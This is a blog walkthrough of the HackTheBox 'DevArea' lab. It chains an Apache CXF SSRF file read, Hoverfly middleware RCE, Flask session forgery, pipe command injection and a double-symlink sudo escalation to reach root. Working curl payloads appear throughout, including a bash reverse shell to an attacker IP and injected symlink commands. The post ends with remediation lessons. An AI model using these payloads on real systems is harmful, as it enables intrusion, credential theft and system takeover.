DEV Community

Cover image for HackTheBox: DevArea — Full Walkthrough
Yogeshwar Peela
Yogeshwar Peela

Posted on

HackTheBox: DevArea — Full Walkthrough

A complete walkthrough of HackTheBox DevArea — chaining an Apache CXF SSRF vulnerability, Hoverfly middleware injection, Flask session forgery, command injection, and a double symlink privilege escalation to achieve full root compromise.

Difficulty: Hard | OS: Linux | Platform: Hack The Box

Attack Path: Anonymous FTP → JAR Analysis → CVE-2022-46364 (Apache CXF SSRF) → Hoverfly Credentials → CVE-2025-54123 (Hoverfly RCE) → Shell as dev_ryan → Secret Key Leak → Session Forgery → Command Injection → Double Symlink → Root


1. Reconnaissance

nmap -sC -sV -A <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode

Key Findings:

  • Port 21: vsftpd (Anonymous login enabled)
  • Port 22: SSH
  • Port 80: Apache HTTP
  • Port 8080: Java/Jetty (SOAP service — Apache CXF)
  • Port 8500/8888: Hoverfly proxy
echo "<MACHINE-IP> devarea.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

2. Anonymous FTP — Downloading the JAR

Port 21 has anonymous FTP login enabled:

ftp devarea.htb
# Username: anonymous
# Password: (blank)

ftp> cd pub
ftp> ls
# employee-service.jar
ftp> get employee-service.jar
ftp> bye
Enter fullscreen mode Exit fullscreen mode

3. JAR Analysis — Discovering the SOAP Endpoint

Decompile the JAR using jadx-gui:

jadx-gui employee-service.jar
Enter fullscreen mode Exit fullscreen mode

Navigate to htb.devarea → ServerStarter. The decompiled code reveals:

JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
Enter fullscreen mode Exit fullscreen mode

This reveals:

  • The service runs on port 8080
  • It uses Apache CXF (org.apache.cxf.jaxws)
  • WSDL available at /employeeservice?wsdl

Fetch the WSDL to enumerate endpoints:

curl http://devarea.htb:8080/employeeservice?wsdl
Enter fullscreen mode Exit fullscreen mode

The service exposes one operation — submitReport — accepting:

  • employeeName (string)
  • department (string)
  • content (string)
  • confidential (boolean)

4. CVE-2022-46364 — Apache CXF MTOM SSRF

From the JAR import org.apache.cxf.jaxws.JaxWsServerFactoryBean we confirmed the service runs on Apache CXF — vulnerable to CVE-2022-46364.

The import at the top of ServerStarter.java was:

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;
Enter fullscreen mode Exit fullscreen mode

That org.apache.cxf package name directly tells us it's Apache CXF.

jadx-gui showing Apache CXF import in ServerStarter

What is MTOM?

MTOM (Message Transmission Optimization Mechanism) is a W3C standard for embedding binary data in SOAP messages. It uses XOP:Include elements with an href attribute pointing to the data source:

<!-- Normal use -->
<employeeName>
  <xop:Include href="cid:attachment@example.com"/>
</employeeName>
Enter fullscreen mode Exit fullscreen mode

The Vulnerability

Apache CXF < 3.5.5 / < 3.4.10 performs no validation on the href attribute. An attacker can point it to arbitrary local files:

<!-- Malicious -->
<employeeName>
  <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
               href="file:///etc/passwd"/>
</employeeName>
Enter fullscreen mode Exit fullscreen mode

The server fetches the file and returns its contents Base64-encoded in the SOAP response. No authentication required.

Manual Exploit

curl -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; boundary="b"' \
  --data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <d:submitReport xmlns:d="http://devarea.htb/">
      <arg0>
        <employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
      </arg0>
    </d:submitReport>
  </s:Body>
</s:Envelope> \r\n--b--\r\n'
Enter fullscreen mode Exit fullscreen mode

Reading the Hoverfly Service File

Since nmap revealed Hoverfly on port 8888, we try reading its systemd service file — service files are world-readable and often contain credentials. Common service file names to try:

/etc/systemd/system/hoverfly.service
/etc/systemd/system/syswatch.service
/etc/systemd/system/gunicorn.service
Enter fullscreen mode Exit fullscreen mode

Extracting Hoverfly Credentials

Sending the SSRF request targeting hoverfly.service:

curl -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; boundary="b"' \
  --data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <d:submitReport xmlns:d="http://devarea.htb/">
      <arg0>
        <employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:////etc/systemd/system/hoverfly.service"/></employeeName>
      </arg0>
    </d:submitReport>
  </s:Body>
</s:Envelope> \r\n--b--\r\n'
Enter fullscreen mode Exit fullscreen mode

hoverfly.service turned out to be a valid endpoint. The SOAP response returned the service file contents Base64-encoded. Decoding it:

echo "<BASE64_HERE>" | base64 -d
Enter fullscreen mode Exit fullscreen mode

The service file had credentials embedded directly in the configuration — plaintext login details for the Hoverfly dashboard.


5. CVE-2025-54123 — Hoverfly Middleware RCE

Navigate to http://devarea.htb with the extracted credentials. The dashboard reveals Hoverfly v1.11.3 — vulnerable to CVE-2025-54123, an authenticated RCE via the middleware API.

Getting the Authorization Token

Open browser DevTools → Network tab → log in and look for API requests containing an Authorization: Bearer <token> header. Copy the token.

Exploiting the Middleware API

Hoverfly allows configuring a middleware script that processes proxied requests. The middleware API accepts an arbitrary binary and script with no sanitization.

Start a listener:

nc -lnvp 4444
Enter fullscreen mode Exit fullscreen mode

Inject a reverse shell:

curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"binary":"bash","script":"bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1"}'
Enter fullscreen mode Exit fullscreen mode

Trigger the middleware by sending a request through the Hoverfly proxy:

curl "http://devarea.htb:8500" --proxy "http://devarea.htb:8888"
Enter fullscreen mode Exit fullscreen mode

Shell received as dev_ryan.

cat /home/dev_ryan/user.txt
Enter fullscreen mode Exit fullscreen mode

User flag captured!


6. Privilege Escalation

6.1 Enumerating the Environment

cat /etc/syswatch.env
Enter fullscreen mode Exit fullscreen mode
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
Enter fullscreen mode Exit fullscreen mode

A Flask web GUI runs on 127.0.0.1:7777. Check sudo permissions while enumerating:

sudo -l
Enter fullscreen mode Exit fullscreen mode
Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop,
        !/opt/syswatch/syswatch.sh web-restart
Enter fullscreen mode Exit fullscreen mode

dev_ryan can run syswatch.sh as root without a password — with the exception of the web-stop and web-restart subcommands. The logs subcommand is unrestricted.

6.2 Flask Session Forgery

Flask session cookies are signed but not encrypted. With the leaked SYSWATCH_SECRET_KEY we can forge any session:

# forge.py
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

app = Flask(__name__)
app.secret_key = "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725"

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session_data = {"user_id": 1, "username": "admin"}
forged_cookie = session_serializer.dumps(session_data)
print(forged_cookie)
Enter fullscreen mode Exit fullscreen mode
python3 forge.py
# eyJ1c2VyX2lkIjox...
Enter fullscreen mode Exit fullscreen mode

Verify admin access:

curl -b "session=<FORGED_COOKIE>" http://127.0.0.1:7777/
Enter fullscreen mode Exit fullscreen mode

6.3 Command Injection in /service-status

The Flask app uses an incomplete regex with shell=True:

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

res = subprocess.run(
    [f"systemctl status --no-pager {service}"],
    shell=True,    # ← dangerous
    capture_output=True, text=True, timeout=10
)
Enter fullscreen mode Exit fullscreen mode

The regex blocks ;, /, &, ., <, >, uppercase — but not |. Pipe injection works:

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  -d "service=ssh | id"
# uid=1002(syswatch)
Enter fullscreen mode Exit fullscreen mode

RCE as syswatch confirmed — this user can write to /opt/syswatch/logs/.

6.4 Double Symlink Attack

The vulnerability in log_message():

The syswatch-monitor timer (and syswatch.sh itself) executes plugins that call log_message() from common.sh:

log_message() {
    local logfile="$1"
    if [ -L "$logfile" ]; then
        rm -f -- "$logfile"    # removes ONE level of symlink
        : > "$logfile"          # creates file — follows remaining chain!
        chmod 644 "$logfile"
    fi
    echo "$(date ...) - $msg" >> "$logfile"
}
Enter fullscreen mode Exit fullscreen mode

Why double symlink bypasses the check:

[ -L "$logfile" ] only tests whether the path itself is a symlink — it does not follow the chain. With two links:

evil.log → chain.log → /root/root.txt
Enter fullscreen mode Exit fullscreen mode
  1. Script sees evil.log is a symlink → removes it
  2. : > "evil.log" recreates the name — the shell follows chain.log/root/root.txt
  3. The privileged process now reads/writes directly into /root/root.txt

The regex in /service-status blocks / and ., so we use printf octal escapes to construct paths without those characters.

Step 1 — Create the tracking pointer link (chain.log → /root/root.txt):

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ln -sf \
$(printf '\057root\057root\056txt') \
$(printf '\057opt\057syswatch\057logs\057chain\056log')"
Enter fullscreen mode Exit fullscreen mode

Step 2 — Create the primary verification link (evil.log → chain.log):

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ln -sf \
$(printf 'chain\056log') \
$(printf '\057opt\057syswatch\057logs\057evil\056log')"
Enter fullscreen mode Exit fullscreen mode

Step 3 — Verify the chain:

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ls -la \
$(printf '\057opt\057syswatch\057logs\057')"
# evil.log -> chain.log
# chain.log -> /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Step 4 — Read the root flag instantly via sudo:

Rather than waiting up to 5 minutes for the background timer, we invoke syswatch.sh directly as root using the logs subcommand:

sudo /opt/syswatch/syswatch.sh logs evil.log
Enter fullscreen mode Exit fullscreen mode

Why this works immediately:

When syswatch.sh logs evil.log runs, it calls the same log_message() logic — but because we invoked it with sudo, every file operation executes with full root privileges instantly. The security check inspects evil.log and sees it points to chain.log, a file inside the permitted logs directory. It passes. The script then executes cat evil.log, which the kernel resolves recursively:

evil.log → chain.log → /root/root.txt
Enter fullscreen mode Exit fullscreen mode

The root flag prints directly to your terminal — no timer, no waiting.

Root flag captured!


7. Attack Chain Summary

Step Technique Impact
Reconnaissance Nmap Identified FTP, SOAP service, Hoverfly
Anonymous FTP Download employee-service.jar Access to application binary
JAR Analysis jadx-gui decompilation Discovered Apache CXF SOAP endpoint
CVE-2022-46364 Apache CXF MTOM SSRF Arbitrary file read — no auth required
Credential Extraction Read hoverfly.service Hoverfly dashboard credentials
CVE-2025-54123 Hoverfly middleware injection RCE as dev_ryan
User Flag Reverse shell /home/dev_ryan/user.txt
Secret Leak /etc/syswatch.env world-readable Flask signing key exposed
Session Forgery Flask SecureCookieSession Admin access to internal web GUI
Command Injection Pipe `\ ` bypasses regex
Double Symlink TOCTOU in log_message() Symlink chain set up via syswatch user
Sudo Bypass syswatch.sh logs NOPASSWD rule Instant root read-through via sudo
Root Flag Symlink read /root/root.txt

8. Key Vulnerabilities & Lessons

1. Anonymous FTP Enabled — Never enable anonymous FTP on production servers. It exposed the application binary which revealed the entire attack surface.

2. CVE-2022-46364 — Apache CXF SSRF (CVSS 9.8) — Upgrade to CXF ≥3.5.5 / ≥3.4.10. The SSRF provided a file read primitive that unlocked the entire attack chain.

3. Credentials in Systemd Service Files — Service files are world-readable by default. Never embed credentials directly — use systemd credential storage or a secrets manager.

4. Leaked Flask Secret Key/etc/syswatch.env was readable by all users. A leaked signing key allows forging any Flask session cookie. Restrict env files: chmod 600 /etc/syswatch.env.

5. CVE-2025-54123 — Hoverfly Middleware Injection — The middleware API accepted arbitrary binaries and scripts with no validation. Upgrade Hoverfly and restrict API access to trusted networks only.

6. Incomplete Regex with shell=True — Denylisting injection characters always misses something — here it missed |. Always use subprocess.run(["systemctl", "status", service]) with a list to avoid shell interpretation entirely.

7. Double Symlink TOCTOU[ -L "$logfile" ] resolves only one symlink level. Use readlink -f to fully resolve paths and validate they stay within the intended directory before any write operation.

8. Overly Permissive Sudo Rule — The NOPASSWD rule for syswatch.sh with a denylist approach (!web-stop, !web-restart) is inherently unsafe. Any subcommand not explicitly blocked — including logs — is permitted as root. Sudo rules should use an allowlist, not a denylist.


Conclusion

DevArea demonstrates a realistic multi-stage attack chain where each vulnerability enables the next:

  • Anonymous FTP exposes the application binary
  • Binary analysis reveals the technology stack
  • Unauthenticated SSRF gives arbitrary file read
  • File read exposes service credentials
  • Outdated middleware with known RCE gives initial shell
  • World-readable secrets enable authentication bypass
  • Incomplete sanitization allows command injection
  • A subtle symlink race condition combined with a permissive sudo rule leads to instant root

Every vulnerability here has been seen in real-world environments. Defense in depth — patching, least privilege, proper input handling — would have broken this chain at any link.


Have you solved DevArea? Drop your approach in the comments! Follow for more HackTheBox writeups and security research.

Top comments (0)